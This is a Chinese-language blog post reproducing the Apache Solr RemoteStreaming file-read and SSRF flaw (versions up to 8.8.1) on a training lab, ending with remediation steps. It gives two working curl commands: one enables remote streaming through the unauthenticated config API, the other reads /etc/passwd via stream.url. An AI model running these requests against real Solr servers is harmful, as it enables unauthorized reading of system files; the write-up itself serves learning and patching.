Apache Solr RemoteStreaming 文件讀取與SSRF漏洞

0x00簡介

Solr是一個(gè)獨(dú)立的企業(yè)級搜索應(yīng)用服務(wù)器,它對外提供類似于Web-service的API接口。用戶可以通過http請求,向搜索引擎服務(wù)器提交一定格式的XML文件,生成索引;也可以通過Http Get操作提出查找請求,并得到XML格式的返回結(jié)果.

0x01漏洞概述

Apache Solr 是一個(gè)開源的搜索服務(wù)器。在Apache Solr未開啟認(rèn)證的情況下,攻擊者可直接構(gòu)造特定請求開啟特定配置,并最終造成SSRF或任意文件讀取.

0x02影響范圍

Apache Solr <= 8.8.1均受影響

0x03環(huán)境搭建

這里我們利用東塔攻防世界的靶場來復(fù)現(xiàn)這個(gè)漏洞。

地址:https://labs.do-ta.com/

image1.png

0x04漏洞復(fù)現(xiàn)

1,首先我們啟動(dòng)靶場

image

2,訪問靶場的首頁

image

3,訪問地址:http://ip:port/solr/admin/cores?indexInfo=false&wt=json

image

4,發(fā)送如下數(shù)據(jù)包,修改數(shù)據(jù)庫demo的配置,開啟RemoteStreaming:

curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' $'http://120.25.24.45:30277/solr/demo/config'
image

5,再通過stream.url讀取任意文件:

curl -i -s -k 'http://120.25.24.45:30277/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
image6.png
image

0x05修復(fù)建議

1.首先關(guān)閉ConfigAPI,禁止通過API修改配置,在bin目錄下的solr.in.cmd中加入一行set SOLR_OPTS=%SOLR_OPTS% -Ddisable.configEdit=true

2,然后關(guān)閉遠(yuǎn)程讀取文件流,默認(rèn)情況下遠(yuǎn)程讀取文件流是不開啟的:

在server/solr目錄下尋找與core相同名字的目錄,比如名字為core1

如果你發(fā)現(xiàn)core1/conf/configoverlay.json文件中存在開啟遠(yuǎn)程讀取文件流的配置,那么你很有可能被攻擊成功了

修復(fù)方法是:把core1/conf/configoverlay.json中的遠(yuǎn)程讀取文件流的配置修改為false(如果只有這一條配置,也可以將整個(gè)文件刪除)

{"props":{"requestDispatcher":{"requestParsers":{"enableRemoteStreaming":false}}}}

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Apache Solr任意文件讀取漏洞復(fù)現(xiàn) 一、簡介 Solr是一個(gè)獨(dú)立的企業(yè)級搜索應(yīng)用服務(wù)器,它對外提供類似于W...
    thelostworldSec閱讀 717評論 0 0
  • 我是黑夜里大雨紛飛的人啊 1 “又到一年六月,有人笑有人哭,有人歡樂有人憂愁,有人驚喜有人失落,有的覺得收獲滿滿有...
    陌忘宇閱讀 8,834評論 28 54
  • 信任包括信任自己和信任他人 很多時(shí)候,很多事情,失敗、遺憾、錯(cuò)過,源于不自信,不信任他人 覺得自己做不成,別人做不...
    吳氵晃閱讀 6,365評論 4 8
  • 怎么對待生活,它也會(huì)怎么對你 人都是哭著來到這個(gè)美麗的人間。每個(gè)人從來到塵寰到升入天堂,整個(gè)生命的歷程都是一本書,...
    靜靜在等你閱讀 5,308評論 1 6

友情鏈接更多精彩內(nèi)容